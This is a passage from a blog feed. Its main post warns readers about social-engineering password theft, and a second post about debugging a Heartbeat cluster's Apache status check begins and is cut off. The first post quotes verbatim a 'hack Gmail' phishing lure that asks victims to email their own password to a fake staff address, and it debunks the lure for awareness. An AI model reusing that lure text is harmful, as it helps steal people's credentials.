with increasing order of technical complexity, and as the complexity increases, the chances of them being used against you reduce. I would name some of those:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;1. Social Engg.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;2. Phishing&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;3. Fake login pages&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;4. Keyloggers&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;5. Trojan Horses&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;6. Browser Exploitation/Vulnerable pdf readers, documents ACtivex Controls&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;7. Cookie stealing and session hijacking&lt;br /&gt;&lt;br /&gt;8. Sniffers and the importance of SSL(means https v/s http)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;&lt;br /&gt;9. Man in the Middle attacks etc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt; In this post I ll only talk about the simplest of all. Social engg. And I wont blame you if you say: Thats not hacking! Thats not even related to computers?? But yes, it works for many. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;Some Intro&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;****************&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Its a common problem that some of us face some time, mostly while we are in college. And yes, when we are in college, most of us are curious about the email passwords of the most pretty faces. So many times I have heard this most stupid and dumb question, Can you hack gmail and yahoo passwords? Man, get a life. There are some more important things in life than just accessing and changing some poor chaps password. First the question is ill-poised. Dont expect that giants like Google and Yahoo (backed by finest of brains) are so lame in their security, that they expose the accounts of their users just like that. So we can rule out the possibility that someone can actually retrieve a password from their servers. Oh yeah thats a sign of relief.  And that also means that if someone says that by sending an email containing blah-blah text and blah-blah code the server will 'accidentally' return you the password, thats a total rubbish. I will tell you about this case in a while.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;I got Hacked! My password got changed.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;1. Social Engineering.&lt;br /&gt;&lt;br /&gt;*****************************&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Social Engineering is something very non-technical. When you choose your password or security details that can be guessed by someone very easily, you may get into trouble any time.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Consider this scenario:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;If a bad guy wants to access your account and all he knows is your emal id, then he/she would try to gather information about you, parents' names, your crush, your spouse and all sorts details that can make a common password. Your name appended by 123 and so on. There could be several other details like the answers to your security question, if the bad guy correctly finds it (its not very hard to find your pet's name or your birthplace) and which in fact is the correct answer, then you are in trouble. The bad guy may talk to you and may coerce you into giving these kind of details, and you might be unaware of it. The best thing is to keep your sensitive information totally unrelated to your public life. Security answers and passwords should be hard to guess, especially for security questions, like your pet's name, you need not always give the name of your pet, but something unique that only you could think of. In todays world of social networking there are plenty of things a stranger can know about you merely by looking at your profile. By the way, even if your password is strong and your security question cant be guessed by anyone, there are still ways in which someone could trick you totally into giving away your password. Amazed? Lets see a few examples:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Yet again a very common example, this is text I copied from a random internet search about the method, Go on read the text, and dont get fooled.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="”KonaBody”"&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;Need to hack Gmail passwords?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; It is possible and it is easy. This way of hacking&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; into Gmail.&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; accounts was brought to my attention by a friend of&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; mine who is a bit of a&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; computer wizard. I have tried the method a least a&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; dozen times and it has&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; worked on all but 2 occasions, I don't know the reason&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; why it failed a&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; couple of times, but on every other occasion it has&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; got me the password for&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; the requested email address. This is how it is done:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;STEP 1- Log in to your own Gmail account. Note: Your&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; account must be at&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; least 30 days old for this to work.&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;STEP 2- Once you have logged into your own account,&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; compose/write an e-mail&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; to: adminstaff.google@gmail.com&lt;br /&gt;is a mailing&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; address to the Gmail&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; Staff. The automated server will send you the password&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; that you have&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; 'forgotten', after receiving the information you send&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; them.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;STEP 3- In the subject line type exactly: " PASSWORD&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; RECOVERY "&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;STEP 4- On the first line of your mail write the email&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; address of the person&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; you are hacking.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;STEP 5- On the second line type in the e-mail address&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; you are using.&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; &lt;span style="color: rgb(255, 255, 51);"&gt;&lt;br /&gt;&lt;br /&gt;STEP 6- On the third line type in the password to YOUR&lt;/span&gt;&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 255, 51);"&gt; email address (your&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 255, 51);"&gt; OWN password). The computer needs your password so it&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 255, 51);"&gt; can send a JavaScript&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 255, 51);"&gt; from your account in the Gmail Server to extract the&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 255, 51);"&gt; other email addresses&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;span style="color: rgb(255, 255, 51);"&gt; password. &lt;/span&gt;In other word the system automatically&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; checks your password to&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; confirm the integrity of your status.&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; The process will be done automatically by the user&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; administration server.&lt;br /&gt;&lt;br /&gt;STEP 7- The final step before&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; sending the mail is,&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; type on the fourth line the following code exactly:&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; cgi-bin_RETRIVE_PASS_BIN_PUB/$et76431&amp;amp;pwrsa&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; script&lt;&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; v703&amp;amp;login=passmachine&amp;amp;f=(password)&amp;amp;f=27586&amp;amp;javasc  ript=ACTIVE&amp;amp;rsa#&gt;&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; {simply copy and paste above.}&lt;/span&gt;   &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;so for example if your Gmail id is : davidabc@gmail.com&lt;/span&gt;  &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; and your password&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; is: David and the email address you want to hack is:&lt;/span&gt;  &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; then&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; compose the mail as below:&lt;/span&gt;   &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;To: adminstaff.google@gmail.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; bcc:&lt;br /&gt;cc:&lt;br /&gt;(Don't write anything in cc,bcc field)&lt;/span&gt;   &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;Subject: " PASSWORD RECOVERY "&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;victim@gmail.com&lt;br /&gt;davidabc@gmail.com&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;David&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;cgi-bin_RETRIVE_PASS_KEY_CGI_BIN/$et76431&amp;amp;pwrsa&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; script&lt;&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; v703&amp;amp;login=passmachine&amp;amp;f=(password)&amp;amp;f=27586&amp;amp;javasc  ript=ACTIVE&amp;amp;rsa#&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;{simply copy and paste above.}&lt;/span&gt;   &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt;&lt;br /&gt;&lt;br /&gt;The password will be sent to your inbox in a mail&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; called "System Reg&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; Message" from "System with in 6 hors. When my friend showed me how&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; to do this I thought it was too good a trick to keep&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; to myself! Just try and&lt;/span&gt; &lt;span style="font-style: italic; color: rgb(255, 153, 0);"&gt; enjoy!&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt; &lt;!-- google_ad_section_end --&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Tempting? yeah I bet you be tempted to try this, if you happen to read it for the first time. If you dont know much about computer working, but you are smart, you will try this with a fake account. If you are quite learned about computers, you will laugh at it. But if you are new to computers and a bit dumb as well, then you are actually sending your password to someone who created the fake email id staffadmin.google@gmail.com. In all those technical looking so called "hifi code" we generally miss the fact that Step6 asks us to enter our own password, and yet the text convinces us that it will be used by the email to "log in". After a bit of confusion, you are probably convinced and send the email, And boom, you just yourself gave your password away. What a hack! or How Dumb? The guy just tricked me into giving my own password, and I realize that after a day when I cant log into my account. Well there is no technique involved here, the bad guy just exploited some of the basic human traits: greed, willingness to trust when you see gains, stupidity? (yeah I believe, most of us are not perfect and we act stupid out of greed, fear, extreme emotions) And thats what social engineering is all about.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;There are few more examples, oh yeah about a 1000 more.. social engg. is a very tricky thing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Some more common real life examples:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(51, 255, 51);"&gt;An online fraud.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;This one happened with a friend of mine, but unlike this story my friend did the smart thing.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;=&gt; Someone calls me on the phone and says He/she is calling from my bank and there are heavy purchases being made from my credit card. If I am not the one who is making those purchases, he/she immediately needs to block the card.&lt;br /&gt;&lt;br /&gt;For confirmation, she asks me to verify my personal info.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;My name:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;My phone number:&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;&lt;br /&gt;My D.O.B:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;My address:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;and say last 4 digits of my account number,&lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;or even more to make it sound genuine.&lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;(This info isnt very hard to obtain, yeah even the last digits of account number could be from your half torn ATM receipt)&lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;Then she asks me for my credit card number.&lt;/span&gt; &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;And then after some more discussion, she asks me my security code, just for verification that she is talking to the right person. She tells me that she knows it already, but its necessary to verify that I know it, so that she could actually go ahead to disable my "stolen" card. And if I cant verify I ll have to go to the Bank office personally, and write an application and blah blah. Till that time all my hard earned money would have been stolen and then even the bank cant do anything about it. &lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;After listening to this, I am now afraid, and I finally give her my security code to "disable" my card. Now I am convinced that I did the right thing, and I managed to save my card from misuse.&lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;After 2 days or so, I learn that my card was indeed used for making heavy online purchases but after the bank call.&lt;/span&gt;  &lt;span style="color: rgb(255, 153, 0); font-style: italic;"&gt;Duh, I gave all my card details to a stranger with a sweet voice.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Why would I do that, out of fear, and out of carelessness.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Almost every bank and other service providers have this provision of telling their customers that&lt;/span&gt; &lt;span style="color: rgb(255, 255, 0); font-weight: bold;"&gt;NOBODY from the bank would ever ask you for any login/security information either by mail or phone or otherwise. So never respond to them or even inform the bank immediately.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;These are some of the most basic &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;social engg. examples. There are some more of those online frauds (sort of phishing ). The wikipedia has an excellent article on phishing (&lt;/span&gt;&lt;a style="color: rgb(51, 255, 51);" href="http://en.wikipedia.org/wiki/Phishing"&gt;http://en.wikipedia.org/wiki/Phishing&lt;/a&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Oh Honey! I won a lottery&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S3awDWE42vI/AAAAAAAAAFA/wRSwaJx11o0/s1600-h/phishers.PNG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 167px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S3awDWE42vI/AAAAAAAAAFA/wRSwaJx11o0/s400/phishers.PNG" alt="" id="BLOGGER_PHOTO_ID_5437727171608632050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;What if I go ahead and foolishly try to claim that one:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S3awo37vyUI/AAAAAAAAAFI/EHHHIGV9Br0/s1600-h/toi.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 398px; height: 372px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S3awo37vyUI/AAAAAAAAAFI/EHHHIGV9Br0/s400/toi.jpg" alt="" id="BLOGGER_PHOTO_ID_5437727816352254274" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Or an unclaimed Gift Card???&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S3axSa2SPvI/AAAAAAAAAFQ/H3UAOqzRX5A/s1600-h/walmart.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 226px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S3axSa2SPvI/AAAAAAAAAFQ/H3UAOqzRX5A/s400/walmart.jpg" alt="" id="BLOGGER_PHOTO_ID_5437728530099224306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Or a distress call from a mysterious rich woman, who suddenly found you interesting, and who seeks your help to move her money overseas.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_e-VL6LAQQaw/S3ay7bQVKHI/AAAAAAAAAFY/nT972_v-Wmg/s1600-h/runde.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://3.bp.blogspot.com/_e-VL6LAQQaw/S3ay7bQVKHI/AAAAAAAAAFY/nT972_v-Wmg/s400/runde.jpg" alt="" id="BLOGGER_PHOTO_ID_5437730334094731378" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Fake officials?&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_e-VL6LAQQaw/S3azDPbrImI/AAAAAAAAAFg/Bf4Eu7x_O14/s1600-h/barcklay.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://4.bp.blogspot.com/_e-VL6LAQQaw/S3azDPbrImI/AAAAAAAAAFg/Bf4Eu7x_O14/s400/barcklay.jpg" alt="" id="BLOGGER_PHOTO_ID_5437730468360036962" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Sometimes the good ol gmail warns you as well.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_e-VL6LAQQaw/S3azT3dqcII/AAAAAAAAAFo/XNan6zyZKj0/s1600-h/gmailwarn.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 234px;" src="http://2.bp.blogspot.com/_e-VL6LAQQaw/S3azT3dqcII/AAAAAAAAAFo/XNan6zyZKj0/s400/gmailwarn.jpg" alt="" id="BLOGGER_PHOTO_ID_5437730753983705218" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;These are only some of the examples that I could found. And these are the most basic forms of social engineering. In my next posts we ll talk about some technical types of social engg, we ll talk about malicious hyperlinks, fake login pages, malicious email attachments, and how to not to fall for them. So till them, have a good time.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6348799822268982633-2723141204935209773?l=rhosted.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rhosted.blogspot.com/feeds/2723141204935209773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://rhosted.blogspot.com/2010/02/how-to-save-myself-from-simple-password.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2723141204935209773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6348799822268982633/posts/default/2723141204935209773'/><link rel='alternate' type='text/html' href='http://rhosted.blogspot.com/2010/02/how-to-save-myself-from-simple-password.html' title='How to save myself from simple password hacks and phishing Part1: Social Engg.'/><author><name>k3w13r</name><uri>http://www.blogger.com/profile/12416647679178002935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://2.bp.blogspot.com/_e-VL6LAQQaw/S9PRXoISxEI/AAAAAAAAALA/kErir6kH4As/S220/Icon.PNG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_e-VL6LAQQaw/S3awDWE42vI/AAAAAAAAAFA/wRSwaJx11o0/s72-c/phishers.PNG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6348799822268982633.post-6061000507967315370</id><published>2010-02-08T11:51:00.000+05:30</published><updated>2010-02-08T11:52:41.153+05:30</updated><title type='text'>HeartBeat Linux problem</title><content type='html'>&lt;span style="color: rgb(51, 255, 51);"&gt;Related to Heartbeat package for High Availability Clusters (SLES 11)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;The apache resource script was failing, for this reason the whole cluster wasnt working fine. I searched so much, but couldnt find the reason..&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;node242:/etc/ha.d/resource.d # ./apache status&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;2009/05/08_02:41:04 ERROR: command failed: sh -c wget -O- -q -L --bind-address=127.0.0.1 http://localhost:80/server-status | tr '\012' ' ' | grep -Ei "&lt;!-- *body *--&gt;[[:space:]]*&lt;!-- *html *--&gt;" &gt;/dev/null&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;2009/05/08_02:41:04 ERROR:  Generic error&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;ERROR:  Generic error&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Then I set up the debug flag set -x in the shell script, and I got the location of the actual file where the command was failing. Its in:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;/usr/lib/ocf/resource.d/heartbeat&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;Here in the apache script, I saw the following code, which was in fact preparing the wget command parameters.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;#&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # It's difficult to figure out whether the server supports&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # the status operation.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # (we start our server with -DSTATUS - just in case :-))&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # Typically (but not necessarily) the status URL is /server-status&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # For us to think status will work, we have to have the following things:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # - $WGET has to exist and be executable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # - The server-status handler has to be mapped to some URL somewhere&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # We assume that:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # - the "main" web server at $PORT will also support it if we can find it&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #     somewhere in the file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # - it will be supported at the same URL as the one we find in the file&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   # If this doesn't work for you, then set the statusurl attribute.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   #&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   if&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;      [ "X$STATUSURL" = "X" ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;   then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;     if&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         have_binary $WGET&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;     then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;       StatusURL=`FindLocationForHandler $1 server-status | tail -1`&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;       if&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         [ "x$Listen" != "x" ]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;       then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         echo $Listen | grep ':' &gt;/dev/null ||  # Listen can be only port spec&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;           Listen="localhost:$Listen"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         STATUSURL="http://${Listen}$StatusURL"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         case $WGET in&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;           *wget*)       WGETOPTS="$WGETOPTS --bind-address=127.0.0.1";;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;         esac&lt;/span&gt;&lt;br /&gt;&lt;span 